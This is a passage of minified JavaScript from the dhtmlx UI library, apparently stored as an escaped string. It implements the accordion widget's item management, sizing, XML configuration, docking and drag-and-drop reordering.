r){if(s!=null&&s[o]!=null){this.ofs[u][o]=s[o]}else{if(q!=null&&q[o]!=null){this.ofs[u][o]=q[o]}else{this.ofs[u][o]=r[o]}}}}};this._applyOffsets();this.t={};this.addItem=function(w,v,q,o,u){if(w==null){w=\"a\"+window.dhx4.newId()}while(this.t[w]!=null){w=\"a\"+window.dhx4.newId()}var a=new dhtmlXAccordionCell(w,this);a.conf.skin=this.conf.skin;a.setText(v);if(u!=null){a.setIcon(u)}a.cell._accId=w;a.cell.childNodes[a.conf.idx.hdr].onselectstart=function(x){x=x||event;if(x.preventDefault){x.preventDefault()}else{x.returnValue=false}return false};a.cell.childNodes[a.conf.idx.hdr].onclick=function(y){y=y||event;if(y.preventDefault){y.preventDefault()}else{y.returnValue=false}if(g._dnd!=null&&g._dnd.ofs==true){return}var x=(y.target||y.srcElement);var A=null;while(x._accId!=this&&A==null){if(x._accId!=null){A=x._accId}else{x=x.parentNode}}if(A!=null){g._hdrClick(A)}};this.t[w]={cell:a};this.conf.total_count++;if(this.conf.multi_mode){if(typeof(q)==\"undefined\"){q=true}this.cont.appendChild(a.cell);a.conf.opened=(q==true);if(typeof(o)==\"undefined\"||o==null||o==\"*\"){if(o==\"*\"){a.conf.h_auto=true}o=this.conf.def_height}else{o=Math.max(parseInt(o),30)}a._setSize(this.ofs.m.left,0,this.conf.cont_w||this._getAvailItemWidth(),a.conf.opened?o:a._getHdrHeight());a.cell.style.marginTop=(a.cell==this.cont.firstChild?this.ofs.m.first:this.ofs.m.between)+\"px\";if(q!=true){a.conf.size.h=o;a._adjustCell();a.cell.className+=\" dhx_cell_closed\"}this._adjustOpened();if(this._dnd!=null){this._dndAttachEvent(w)}}else{q=(this.conf.last_opened==null?true:window.dhx4.s2b(q));var s=this._updateCellsHeight();if(this.conf.last_opened!=null){if(q){this._closeItem(this.conf.last_opened,false)}else{var r=this.t[this.conf.last_opened].cell;r._setSize(r.conf.size.x,r.conf.size.y,r.conf.size.w,s);r=null}}this.cont.appendChild(a.cell);a.conf.opened=q;a.cell.style.marginTop=String(a.cell==this.cont.firstChild?this.ofs.s.first:this.ofs.s.between)+\"px\";a._setSize(this.ofs.s.left,0,this.conf.cont_w||this._getAvailItemWidth(),q?s:a._getHdrHeight());if(q){this.conf.last_opened=w}else{a.conf.size.h=s;a._adjustCell();a.cell.className+=\" dhx_cell_closed\"}}a=null;return this.t[w].cell};this.removeItem=function(a){if(!this.t[a]){return}if(this.conf.last_opened==a){this.conf.last_opened=null}if(this.conf.on_active_id==a){this.conf.on_active_id=null}if(this._dnd!=null){this._dndClearCell(a)}this.conf.total_count--;if(!this.conf.multi_mode&&!this.t[a].cell.conf.visible){this.conf.hiden_count--}this.t[a].cell._unload();this.t[a].cell=null;this.t[a]=null;delete this.t[a];if(!this.conf.unloading){if(!this.conf.multi_mode){this._updateCellsMargin()}this.setSizes()}};this.cells=function(a){return this.t[a].cell};this.enableMultiMode=function(a,o){this.conf.multi_mode=true;if(!isNaN(o)){this.conf.def_height=o}if(a==\"auto\"||a==\"scroll\"){this.cont.style.overflowX=\"hidden\";this.cont.style.overflowY=a}else{this.cont.style.overflow=\"visible\"}};this.forEachItem=function(q){for(var o in this.t){if(typeof(q)==\"function\"){q.apply(this,[this.t[o].cell])}else{if(typeof(q)==\"string\"&&typeof(window[q])==\"function\"){window[q].apply(this,[this.t[o].cell])}}}};this._openItem=function(o,a){if(typeof(a)==\"undefined\"){a=true}if(this.t[o].cell.conf.opened==false){if(this.conf.multi_mode){this.t[o].cell._open(a)}else{if(this.conf.tr.prop==false){if(this.conf.last_opened!=null){this.t[this.conf.last_opened].cell._close(false)}this.t[o].cell._open(false);this.conf.last_opened=o}else{this.conf.on_active_id=o;this.t[o].cell._open(a);if(this.conf.last_opened!=null){this.t[this.conf.last_opened].cell._close(a)}this.conf.last_opened=o}}}};this._closeItem=function(o,a){if(typeof(a)==\"undefined\"){a=true}if(this.t[o].cell.conf.opened==true){this.t[o].cell._close(a);this.conf.last_opened=null}};this._adjustOpened=function(){if(this.conf.multi_mode==true){if(this._openCache==null){var s=this._getDynData();for(var q in s){this.t[q].cell.conf.size.h=s[q];this.t[q].cell.cell.style.height=s[q]+\"px\"}}else{var u=false;for(var q in this._openCache){u=(u||this._openCache[q])}if(u==true){return}this._openCache=this._openId=null}var o=this._getAvailItemWidth();for(var q in this.t){var r=true;if(o==this.t[q].cell.conf.size.w&&(this._openMode==\"close\"||this.t[q].cell.conf.opened==false)){r=false}if(r){this.t[q].cell._setWidth(o)}}this._openMode=null}else{if(this.conf.last_opened!=null){var v=this.conf.last_opened;this.t[v].cell._setSize(this.t[v].cell.conf.size.x,this.t[v].cell.conf.size.y,this.t[v].cell.conf.size.w,this.t[v].cell.conf.size.h)}}};this._getDynData=function(D,C){if(typeof(D)==\"undefined\"||D==null){D={}}if(typeof(C)==\"undefined\"||C==null){C={}}var w={};var A=0;var v=0;var s=0;for(var o=0;o<this.cont.childNodes.length;o++){var r=this.cont.childNodes[o]._accId;var F=this.t[r].cell;if(F.conf.visible==true){var x=this.ofs.m[s==0?\"first\":\"between\"];if(D[r]==true||C[r]==true||(F.conf.opened==true&&F.conf.h_auto==true)){if(C[r]==true){var y=F._getHdrHeight();w[r]=y;v+=y+x}else{if(F.conf.h_auto==true){w[r]=true;v+=x;A++}else{if(D[r]==true){w[r]=F.conf.size.h;v+=F.conf.size.h+x}}}}else{v+=F.cell.offsetHeight+x}s++}F=null}if(A>0){var u=this.cont.offsetHeight-v;var v=Math.floor(u/A);for(var E in w){if(w[E]==true){if(A>1){u-=v}else{v=u}w[E]=v;A--}}}return w};this.setSizes=function(){this._adjustCont();if(this.conf.multi_mode==true){this._adjustOpened()}else{this.conf.cont_w=null;var q=this._updateCellsHeight();for(var o in this.t){this.t[o].cell._setSize(this.ofs.s.left,0,this.conf.cont_w||this._getAvailItemWidth(),this.t[o].cell.conf.opened?q:this.t[o].cell._getHdrHeight());if(!this.t[o].cell.conf.opened){this.t[o].cell.conf.size.h=q;this.t[o].cell._adjustCell()}}this.conf.size_changed=true}this.callEvent(\"_onSetSizes\",[])};this.setSkin=function(q){this._setBaseSkin(q);this.conf.skin=q;for(var o in this.t){this.t[o].cell.conf.cells_cont=null;this.t[o].cell.conf.skin=this.conf.skin}this._applyOffsets();this._updateCellsMargin();this.setSizes()};this.setIconsPath=function(a){this.conf.icons_path=a};this._getAvailItemWidth=function(){var o=this.ofs[(this.conf.multi_mode?\"m\":\"s\")];var a=Math.max(this.cont.clientWidth-o.left-o.right,10);this.conf.cont_w=a;o=null;return a};this._updateCellsHeight=function(){if(this.conf.multi_mode==true){return}var r=this.conf.total_count-this.conf.hiden_count;var s=this.cont.offsetHeight-this.ofs.s.last;if(r==0){return s}var v=false;for(var u=0;u<this.cont.childNodes.length;u++){if(v==false){var w=this.cont.childNodes[u]._accId;if(this.t[w].cell.conf.visible){s-=this.t[w].cell._getHdrHeight()*(r-1);v=true}}}s-=(r-1)*this.ofs.s.between+this.ofs.s.first;for(var o in this.t){if(this.t[o].cell.conf.size!=null){this.t[o].cell.conf.size.h=s;this.t[o].cell._adjustCell()}}return s};this._updateCellsMargin=function(){var a=0;for(var o=0;o<this.cont.childNodes.length;o++){var r=this.cont.childNodes[o]._accId;if(this.t[r].cell.conf.visible){this.t[r].cell.cell.style.marginTop=String(this.ofs[this.conf.multi_mode?\"m\":\"s\"][a++==0?\"first\":\"between\"])+\"px\"}}};this._hdrClick=function(o){if(!this.conf.multi_mode&&this.t[o].cell.conf.opened){return}var a=this.t[o].cell.conf.opened;if(this.callEvent(\"onBeforeActive\",[o,(a?false:true)])!==true){return}this.conf.on_active_click=true;this[a?\"_closeItem\":\"_openItem\"](o);if(this.conf.multi_mode&&this.conf.tr.prop==false){this._adjustOpened()}};this.unload=function(){this.conf.unloading=true;for(var o in this.t){this.removeItem(o)}this.t=null;if(typeof(this._unloadDND)==\"function\"){this._unloadDND()}if(this.dhxWins){this.dhxWins.unload();this.dhxWins=null}this._unloadTop();window.dhx4._enableDataLoading(this,null,null,null,\"clear\");window.dhx4._eventable(this,\"clear\");this.ofs=this.conf=null;for(var o in this){this[o]=null}g=null};this.setOffset=function(a){this.ofs.s.between=a;this.ofs.m.between=a;this._updateCellsMargin();this.setSizes()};this._initObj=function(o){if(o.skin!=null){this.setSkin(o.skin)}if(window.dhx4.s2b(o.multi_mode)){this.enableMultiMode()}if(o.icons_path!=null){this.setIconsPath(o.icons_path)}if(o.icon_path!=null){this.setIconsPath(o.icon_path)}if(o.items!=null){for(var a=0;a<o.items.length;a++){this.addItem(o.items[a].id,o.items[a].text,o.items[a].open,o.items[a].height,o.items[a].icon||o.items[a].img)}}if(window.dhx4.s2b(o.dnd)==true&&typeof(this.enableDND)==\"function\"){this.enableDND()}};this._xmlToObj=function(u){var r={items:[]};var a=u.getElementsByTagName(\"accordion\")[0];if(a.getAttribute(\"skin\")!=null){r.skin=a.getAttribute(\"skin\")}if(a.getAttribute(\"mode\")==\"multi\"){r.multi_mode=true}if(a.getAttribute(\"multiMode\")!=null){r.multi_mode=window.dhx4.s2b(a.getAttribute(\"multiMode\"))}if(a.getAttribute(\"iconsPath\")!=null){r.icons_path=a.getAttribute(\"iconsPath\")}for(var s=0;s<a.childNodes.length;s++){var v=a.childNodes[s];if(typeof(v.tagName)!=\"undefined\"&&String(v.tagName).toLowerCase()==\"cell\"){var o={};if(v.getAttribute(\"id\")!=null){o.id=v.getAttribute(\"id\")}if(v.getAttribute(\"icon\")!=null){o.icon=v.getAttribute(\"icon\")}if(v.getAttribute(\"height\")!=null){o.height=v.getAttribute(\"height\")}if(v.getAttribute(\"open\")!=null){o.open=window.dhx4.s2b(v.getAttribute(\"open\"))}o.text=v.firstChild.nodeValue;r.items.push(o)}v=null}return r};window.dhx4._enableDataLoading(this,\"_initObj\",\"_xmlToObj\",\"accordion\",{struct:true});window.dhx4._eventable(this);this._callMainEvent=function(o,a){return this.callEvent(o,a)};this.attachEvent(\"onActive\",function(a){if(this.t[a].cell.dataObj!=null&&this.t[a].cell.dataType==\"editor\"){this.t[a].cell.dataObj._prepareContent(true)}if(this.t[a].cell.conf.opened==true){this.t[a].cell._adjustProgress()}});if(typeof(window.dhtmlXWindows)==\"function\"){this.dhxWins=new dhtmlXWindows();this.dhxWins.setSkin(this.conf.skin)}if(l!=null){this._initObj(l);l=null}return this}dhtmlXAccordion.prototype=new dhtmlXCellTop();function dhtmlXAccordionCell(g,e){dhtmlXCellObject.apply(this,[g,\"_acc\"]);this.acc=e;this.conf.visible=true;this.conf.docked=true;this.attachEvent(\"_onCellUnload\",function(){this._trDetachEv();this._unloadDocking();this.acc=null;this.cell._accObj=null;this.cell.childNodes[this.conf.idx.hdr].onselectstart=null;this.cell.childNodes[this.conf.idx.hdr].onclick=null;this._initHeader=null;this._getHdrHeight=null;this._setWidth=null;this._adjustCell=null;this._open=null;this._close=null;this._isOpened=null;this._trInitEv=null;this._trAttachEv=null;this._trDetachEv=null;this._trOnEnd=null;this._onActiveCall=null;this.setText=null;this.getText=null;this.setIcon=null;this.clearIcon=null;this.show=null;this.hide=null;this.isVisible=null;this.setHeight=null;this.moveOnTop=null});this.acc.attachEvent(\"onBeforeDrag\",function(l){if(this.t[l].cell.dataObj!=null&&this.t[l].cell.dataType==\"editor\"){if(this.conf.editor_data==null){this.conf.editor_data={}}this.conf.editor_data[l]=this.t[l].cell.dataObj.getContent()}for(var h in this.t){this.t[h].cell._showCellCover()}return true});this.acc.attachEvent(\"onDrop\",function(l){if(this.t[l].cell.dataObj!=null&&this.t[l].cell.dataType==\"editor\"){this.t[l].cell.dataObj._prepareContent(true);if(this.conf.editor_data!=null&&this.conf.editor_data[l]!=null){this.t[l].cell.dataObj.setContent(this.conf.editor_data[l]);this.conf.editor_data[l]=null}}for(var h in this.t){this.t[h].cell._hideCellCover()}});this.attachEvent(\"_onContentLoaded\",function(){this.acc._callMainEvent(\"onContentLoaded\",arguments)});this.attachEvent(\"_onBeforeContentAttach\",function(a){if(a==\"sidebar\"&&this.conf.skin!=\"dhx_skyblue\"){this._hideBorders()}});this._initHeader();this.conf.tr={};for(var c in this.acc.conf.tr){this.conf.tr[c]=this.acc.conf.tr[c]}if(this.conf.tr.prop!=false){this.attachEvent(\"_onIdxUpdated\",function(){this._cellSetOpacity((this.conf.opened?\"open\":\"close\"),false)})}this.open=function(){this.acc._openItem(this._idd)};this.close=function(){this.acc._closeItem(this._idd)};this._setWidth=function(a){if(a!=this.conf.size.w){this.conf.size.w=a;this.cell.style.width=a+\"px\"}this._adjustCell()};this._adjustCell=function(){this._adjustCont();if(this.dataObj!=null&&typeof(this.dataObj.setSizes)==\"function\"){this.dataObj.setSizes()}};this._initDocking();return this}dhtmlXAccordionCell.prototype=new dhtmlXCellObject();dhtmlXAccordionCell.prototype._initHeader=function(){var a=document.createElement(\"DIV\");a.className=\"dhx_cell_hdr\";a.innerHTML=\"<div class='dhx_cell_hdr_text'></div><div class='dhx_cell_hdr_arrow'></div>\";this.cell.insertBefore(a,this.cell.childNodes[this.conf.idx.cont]);a=null;this.conf.ofs_nodes.t._getHdrHeight=\"func\";this.conf.hdr={visible:true};this.conf.idx_data.hdr=\"dhx_cell_hdr\";this._updateIdx()};dhtmlXAccordionCell.prototype._getHdrHeight=function(){return this.cell.childNodes[this.conf.idx.hdr].offsetHeight};dhtmlXAccordionCell.prototype.showHeader=function(){if(this.conf.hdr.visible==true){return}this.conf.hdr.visible=true;this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr\";this._adjustCont(this._idd)};dhtmlXAccordionCell.prototype.hideHeader=function(){if(this.conf.hdr.visible!=true){return}this.conf.hdr.visible=false;this.cell.childNodes[this.conf.idx.hdr].className=\"dhx_cell_hdr dhx_cell_hdr_hidden\";this._adjustCont(this._idd)};dhtmlXAccordionCell.prototype.isHeaderVisible=function(){return(this.conf.hdr.visible==true)};dhtmlXAccordionCell.prototype.setText=function(a){this.conf.text=a;this.cell.childNodes[this.conf.idx.hdr].firstChild.innerHTML=\"<span>\"+a+\"</span>\"};dhtmlXAccordionCell.prototype.getText=function(){return this.conf.text};dhtmlXAccordionCell.prototype.setIcon=function(e){var c=this.cell.childNodes[this.conf.idx.hdr];if(c.firstChild.className!=\"dhx_cell_hdr_icon\"){c.firstChild.className+=\" dhx_cell_hdr_icon\";var a=document.createElement(\"IMG\");a.className=\"dhx_cell_hdr_icon\";c.insertBefore(a,c.firstChild);a=null}c.firstChild.src=this.acc.conf.icons_path+e;c=null};dhtmlXAccordionCell.prototype.clearIcon=function(){var a=this.cell.childNodes[this.conf.idx.hdr];if(a.firstChild.className==\"dhx_cell_hdr_icon\"){a.removeChild(a.firstChild);a.firstChild.className=String(a.firstChild.className).replace(/\\s{1,}dhx_cell_hdr_icon/gi,\"\")}a=null};dhtmlXAccordionCell.prototype._open=function(c){var h={};if(this.acc.conf.multi_mode){var g={};g[this._idd]=true;h=this.acc._getDynData(g);this.acc._openId=this._idd;this.acc._openCache={};this.acc._openMode=\"open\"}else{h[this._idd]=this.conf.size.h}for(var e in h){if(this.acc._openCache!=null){this.acc._openCache[e]=true}var l=this.acc.t[e].cell;l.cell.className=String(l.cell.className).replace(/\\s{1,}dhx_cell_closed/gi,\"\");l.conf.opened=true;l._trInitEv(\"open\",c);l.conf.size.h=h[e];l.cell.style.height=l.conf.size.h+\"px\";l=null}if(this.conf.tr.prop==false){this.acc._openId=this.acc._openCache=this.acc._openMode=null;this._onActiveCall(true)}};dhtmlXAccordionCell.prototype._close=function(c){var g={};if(this.acc.conf.multi_mode){var h={};h[this._idd]=true;g=this.acc._getDynData(null,h);this.acc._openId=this._idd;this.acc._openCache={};this.acc._openMode=\"close\"}else{g[this._idd]=this._getHdrHeight()}for(var e in g){var l=this.acc.t[e].cell;if(this.acc._openCache!=null){this.acc._openCache[e]=true}if(e==this._idd){l.cell.className+=\" dhx_cell_closed\";l.conf.opened=false;l._trInitEv(\"close\",c)}else{l.conf.size.h=g[e];l._adjustCell();l._trInitEv(\"open\",c)}l.cell.style.height=g[e]+\"px\";l=null}if(this.conf.tr.prop==false){this.acc._openId=this.acc._openCache=this.acc._openMode=null;this._onActiveCall(false)}};dhtmlXAccordionCell.prototype.isOpened=function(){return(this.conf.opened==true)};dhtmlXAccordionCell.prototype._trInitEv=function(c,a){if(this.conf.tr.prop==false){return}this._trAttachEv();if(!this.cell._accObj){this.cell._accObj=this.acc}if(a){this.cell.style[this.conf.tr.prop]=this.conf.tr[\"height_\"+c]}this._cellSetOpacity(c,a)};dhtmlXAccordionCell.prototype._trAttachEv=function(){if(!this.conf.tr.ev_attached){this.cell._trProp=this.conf.tr.prop;this.cell.addEventListener(this.conf.tr.ev,this._trOnEnd,false);this.conf.tr.ev_attached=true}};dhtmlXAccordionCell.prototype._trDetachEv=function(){if(this.conf.tr.ev_attached){this.cell.addEventListener(this.conf.tr.ev,this._trOnEnd,false);this.conf.tr.ev_attached=false}};dhtmlXAccordionCell.prototype._trOnEnd=function(a){if(a.stopPropagation){a.stopPropagation()}if(a.propertyName==\"height\"&&this._accObj!=null){this.style[this._trProp]=\"\";if(this._accObj.conf.multi_mode){if(this._accObj._openCache!=null){this._accObj._openCache[this._accId]=false}this._accObj._adjustOpened()}if(this._accObj.conf.on_active_click==true){if(this._accObj.conf.multi_mode){this._accObj._callMainEvent(\"onActive\",[this._accId,this._accObj.t[this._accId].cell.conf.opened]);this._accObj.conf.on_active_click=false}else{this._accObj._callMainEvent(\"onActive\",[this._accObj.conf.on_active_id,true]);this._accObj.conf.on_active_id=null;this._accObj.conf.on_active_click=false}}this._accObj=null}};dhtmlXAccordionCell.prototype._cellSetOpacity=function(g,c){for(var e in this.conf.idx){if({hdr:true,pr1:true,pr2:true,cover:true}[e]!=true){if(c){this.cell.childNodes[this.conf.idx[e]].style[this.conf.tr.prop]=this.conf.tr[\"op_\"+g]}this.cell.childNodes[this.conf.idx[e]].style.opacity=this.conf.tr[\"op_v_\"+g]}}};dhtmlXAccordionCell.prototype._onActiveCall=function(a){if(this.acc.conf.on_active_click==false){return}if(this.acc.conf.multi_mode==true){this.acc._callMainEvent(\"onActive\",[this._idd,this.conf.opened]);this.acc.conf.on_active_click=false}else{if(a==true){this.acc._callMainEvent(\"onActive\",[this._idd,true]);this.acc.conf.on_active_click=false}}};dhtmlXAccordionCell.prototype.show=function(){if(this.conf.visible){return}if(this.conf.docked==false){this.dock();return}this.cell.style.display=\"\";this.conf.visible=true;if(!this.acc.conf.multi_mode){this.acc.conf.hiden_count--;this.acc._updateCellsHeight();this.acc._updateCellsMargin()}if(this.acc.conf.size_changed){this.acc.setSizes();this.acc.conf.size_changed=false}else{this.acc._adjustOpened()}};dhtmlXAccordionCell.prototype.hide=function(){if(!this.conf.visible){return}if(!this.acc.conf.multi_mode&&this.conf.opened){this._close(false);this.acc.conf.last_opened=null}this.cell.style.display=\"none\";this.conf.visible=false;if(!this.acc.conf.multi_mode){this.acc.conf.hiden_count++;this.acc._updateCellsHeight();this.acc._updateCellsMargin()}this.acc._adjustOpened()};dhtmlXAccordionCell.prototype.isVisible=function(){return(this.conf.visible==true)};dhtmlXAccordionCell.prototype.setHeight=function(a){if(!this.acc.conf.multi_mode){return}if(a==\"*\"){this.conf.h_auto=true}else{this.conf.h_auto=false;this.conf.size.h=a}if(this.conf.opened){if(a!=\"*\"){this.cell.style.height=a+\"px\"}this.acc._adjustOpened()}};dhtmlXAccordionCell.prototype.moveOnTop=function(){if(this.cell.parentNode.firstChild==this.cell){return}this.cell.parentNode.insertBefore(this.cell,this.cell.parentNode.firstChild);this.acc._updateCellsMargin()};dhtmlXAccordionCell.prototype._initDocking=function(){var a=this;this.dock=function(){if(this.acc.dhxWins==null||this.conf.docked==true){return}var c=this.acc.dhxWins.window(this._idd);c.close();this._attachFromCell(c);this.conf.docked=true;this.show();if(this.conf.dock_opened){this.open()}c=null;this.acc._callMainEvent(\"onDock\",[this._idd])};this.undock=function(c,m,g,l){if(this.acc.dhxWins==null||this.conf.docked==false){return}this.conf.dock_opened=this.conf.opened;if(this.acc.dhxWins.window(this._idd)!=null){var e=this.acc.dhxWins.window(this._idd);e.show()}else{if(c==null){c=20}if(m==null){m=20}if(g==null){g=320}if(l==null){l=200}var e=this.acc.dhxWins.createWindow(this._idd,c,m,g,l);e.button(\"close\").hide();e.addUserButton(\"dock\",99,\"Dock\");e.button(\"dock\").show();e.button(\"dock\").attachEvent(\"onClick\",this._doOnDockClick);e.setText(this.getText());e.attachEvent(\"onClose\",this._doOnDockWinClose)}this.conf.docked=false;this.hide();e._attachFromCell(this);e=null;this.acc._callMainEvent(\"onUnDock\",[this._idd])};this._doOnDockClick=function(){a.dock()};this._doOnDockWinClose=function(c){c.hide();return false};this._unloadDocking=function(){a=null}};dhtmlXCellObject.prototype.attachAccordion=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"acc\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";this._attachObject(c);if(typeof(a)==\"undefined\"){a={}}if(typeof(a.skin)==\"undefined\"){a.skin=this.conf.skin}a.parent=c;if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&(this instanceof window.dhtmlXAccordionCell)){c._ofs={s:{first:-1},m:{first:4}}}if(typeof(window.dhtmlXTabBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXTabBarCell)){if(this.conf.skin==\"dhx_skyblue\"){c._ofs={t:-1,r:-1,b:-1,l:-1}}}if(typeof(window.dhtmlXSideBarCell)!=\"undefined\"&&(this instanceof window.dhtmlXSideBarCell)){if(this.conf.skin==\"dhx_web\"){c._ofs={l:2}}else{c._ofs={l:-1}}}if(typeof(window.dhtmlXCarouselCell)!=\"undefined\"&&(this instanceof window.dhtmlXCarouselCell)){this._hideBorders()}this.dataType=\"acc\";this.dataObj=new dhtmlXAccordion(a);a.parent=null;c=a=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXAccordion.prototype.enableDND=function(){if(this.conf.multi_mode==false||this._dnd!=null){return}var e=this;this._dnd={tr_count:0,tr_items:{}};this._dndAttachEvent=function(g){var a=this.t[g].cell;if(a.conf.dnd_inited!=true){if(typeof(window.addEventListener)==\"function\"){a.cell.childNodes[a.conf.idx.hdr].addEventListener(\"mousedown\",this._dndOnMouseDown,false)}else{a.cell.childNodes[a.conf.idx.hdr].attachEvent(\"onmousedown\",this._dndOnMouseDown)}a.conf.dnd_inited=true}a=null};this._dndDetachEvent=function(g){var a=this.t[g].cell;if(a.conf.dnd_inited==true){if(typeof(window.addEventListener)==\"function\"){a.cell.childNodes[a.conf.idx.hdr].removeEventListener(\"mousedown\",this._dndOnMouseDown,false)}else{a.cell.childNodes[a.conf.idx.hdr].detachEvent(\"onmousedown\",this._dndOnMouseDown)}a.conf.dnd_inited=false}a=null};this._dndOnMouseDown=function(g){g=g||event;if(g.preventDefault){g.preventDefault()}var a=(g.target||g.srcElement);while(a!=null&&a.parentNode!=e.cont){a=a.parentNode}if(a!=null){e._dndDragStart(g,a)}a=null};this._dndDragStart=function(m,h){if(this._dnd.tr_waiting==true){return}var a=-1;for(var l=0;l<h.parentNode.childNodes.length;l++){if(h.parentNode.childNodes[l]==h){a=l}}if(this.callEvent(\"onBeforeDrag\",[h._accId,a])!==true){return}if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"mousemove\",this._dndOnMouseMove,false);document.body.addEventListener(\"mouseup\",this._dndOnMouseUp,false)}else{document.body.attachEvent(\"onmousemove\",this._dndOnMouseMove,false);document.body.attachEvent(\"onmouseup\",this._dndOnMouseUp,false)}this._dnd.dragObj=h;this._dnd.dy=m.clientY;var g=0;for(var l=0;l<this._dnd.dragObj.parentNode.childNodes.length;l++){this._dnd.dragObj.parentNode.childNodes[l]._ind=l;if(this._dnd.dragObj.parentNode.childNodes[l]==this._dnd.dragObj){this._dnd.dragObj._k0=g;if(l>0){this._dnd.dragObj._k0+=this.ofs.m.between-this.ofs.m.first}g=0}else{g+=this._dnd.dragObj.parentNode.childNodes[l].offsetHeight+parseInt(this._dnd.dragObj.parentNode.childNodes[l].style.marginTop)}}this._dnd.dragObj._k1=g;this._dnd.h=this._dnd.dragObj.offsetHeight;this._dnd.ofs=false};this._dndDoDrag=function(u){if(!this._dnd.dragObj){return}if(this._dnd.tr_waiting==true){return}var m=u.clientY-this._dnd.dy;if(this._dnd.ofs==false&&Math.abs(m)>5){this._dnd.dragObj.className+=\" acc_cell_dragged\";this._dnd.ofs=true}if(m<0){if(m<-this._dnd.dragObj._k0){m=-this._dnd.dragObj._k0}}else{if(m>this._dnd.dragObj._k1){m=this._dnd.dragObj._k1}}this._dnd.dragObj.style.top=m+\"px\";var o=u.clientY-this._dnd.dy;var l=0;var g=0;for(var n=this._dnd.dragObj._ind+1;n<=this._dnd.dragObj.parentNode.lastChild._ind;n++){var a=this._dnd.dragObj.parentNode.childNodes[n].offsetHeight;if(o>l+a*2/3){g++}l+=a}var h=this._dnd.dragObj.nextSibling;var n=0;while(h!=null){if(++n<=g&&h!=null){if(!h._ontop){if(h._tm){window.clearTimeout(h._tm)}this._dndAnim(h,false,parseInt(h.style.top||0),-this._dnd.h-this.ofs.m.between);h._ontop=true}}else{if(h._ontop){if(h._tm){window.clearTimeout(h._tm)}this._dndAnim(h,true,parseInt(h.style.top||0),0);h._ontop=false}}h=h.nextSibling}var o=this._dnd.dy-u.clientY;var l=0;var g=0;for(var n=this._dnd.dragObj._ind-1;n>=this._dnd.dragObj.parentNode.firstChild._ind;n--){var a=this._dnd.dragObj.parentNode.childNodes[n].offsetHeight;if(o>l+a*2/3){g++}l+=a}var h=this._dnd.dragObj.previousSibling;var n=0;while(h!=null){if(++n<=g&&h!=null){if(!h._onbottom){if(h._tm){window.clearTimeout(h._tm)}this._dndAnim(h,true,parseInt(h.style.top||0),this._dnd.h+this.ofs.m.between);h._onbottom=true}}else{if(h._onbottom){if(h._tm){window.clearTimeout(h._tm)}this._dndAnim(h,false,parseInt(h.style.top),0);h._onbottom=false}}h=h.previousSibling}};this._dndDragStop=function(o,m){if(m){}else{if(this._dnd.tr_count>0){this._dnd.tr_waiting=true;return}}if(!this._dnd.dragObj){return}this._dnd.dragObj.className=String(this._dnd.dragObj.className).replace(/\\s{0,}acc_cell_dragged/gi,\"\");this._dnd.dragObj.style.top=\"0px\";var n=false;for(var l=0;l<this._dnd.dragObj.parentNode.childNodes.length;l++){var h=this._dnd.dragObj.parentNode.childNodes[l];if(h!=this._dnd.dragObj){if(h._tm){window.clearTimeout(h._tm)}h.style.top=\"0px\";if(h._ontop&&((h.nextSibling!=null&&h.nextSibling._ontop!=true)||!h.nextSibling)){n=(h.nextSibling||null)}if(h._onbottom&&((h.previousSibling!=null&&h.previousSibling._onbottom!=true)||!h.previousSibling)){n=h}}h=null}for(var l=0;l<this._dnd.dragObj.parentNode.childNodes.length;l++){this._dnd.dragObj.parentNode.childNodes[l]._ontop=null;this._dnd.dragObj.parentNode.childNodes[l]._onbottom=null}if(n!==false){if(n==null){this._dnd.dragObj.parentNode.appendChild(this._dnd.dragObj)}else{this._dnd.dragObj.parentNode.insertBefore(this._dnd.dragObj,n)}}var r=this._dnd.dragObj._accId;var g=this._dnd.dragObj._ind;var a=g;for(var l=0;l<this._dnd.dragObj.parentNode.childNodes.length;l++){if(this._dnd.dragObj.parentNode.childNodes[l]==this._dnd.dragObj){a=l}}this._dnd.dragObj=null;this._dnd.tr_waiting=false;this._updateCellsMargin();if(g!=a){this.setSizes();this.callEvent(\"onDrop\",[r,g,a])}if(typeof(window.addEventListener)==\"function\"){document.body.removeEventListener(\"mousemove\",this._dndOnMouseMove,false);document.body.removeEventListener(\"mouseup\",this._dndOnMouseUp,false)}else{document.body.detachEvent(\"onmousemove\",this._dndOnMouseMove,false);document.body.detachEvent(\"onmouseup\",this._dndOnMouseUp,false)}};this._dndAnim=function(m,a,l,h){if(this.conf.tr.prop!=false){if(!m._dnd_ev){m._dnd_ev=true;m._dnd_tr_prop=this.conf.tr.prop;m.addEventListener(this.conf.tr.ev,this._dndOnTrEnd,false)}if(this._dnd.tr_items[m._accId]!=true){this._dnd.tr_items[m._accId]=true;this._dnd.tr_count++}m.style[this.conf.tr.prop]=this.conf.tr.dnd_top;m.style.top=h+\"px\";return}var g=false;if(a){l+=5;if(l>=h){l=h;g=true}}else{l-=5;if(l<=h){l=h;g=true}}m.style.top=l+\"px\";if(m._tm){window.clearTimeout(m._tm)}if(!g){m._tm=window.setTimeout(function(){e._dndAnim(m,a,l,h)},5)}else{m._tm=null}};this._dndOnTrEnd=function(a){if(a.stopPropagation){a.stopPropagation()}if(a.propertyName==\"top\"){if(e._dnd.tr_items[this._accId]==true){e._dnd.tr_count--;e._dnd.tr_items[this._accId]=false}this.style[this._dnd_tr_prop]=\"\";if(e._dnd.tr_count==0&&e._dnd.tr_waiting==true){e._dndDragStop(null,true)}}};this._dndOnMouseMove=function(a){e._dndDoDrag(a||event)};this._dndOnMouseUp=function(a){e._dndDragStop(a||event)};this._dndClearCell=function(a){if(this.t[a].cell.cell._dnd_ev){this.t[a].cell.cell.addEventListener(this.conf.tr.ev,this._dndOnTrEnd,false)}this._dndDetachEvent(a)};this._unloadDND=function(){for(var g in this){if(String(g).indexOf(\"_dnd\")==0&&typeof(this[g])==\"function\"){this[g]=null}}this._dnd=null;e=null};for(var c in this.t){this._dndAttachEvent(c)}};function dhtmlXLayoutObject(e,o,w){var 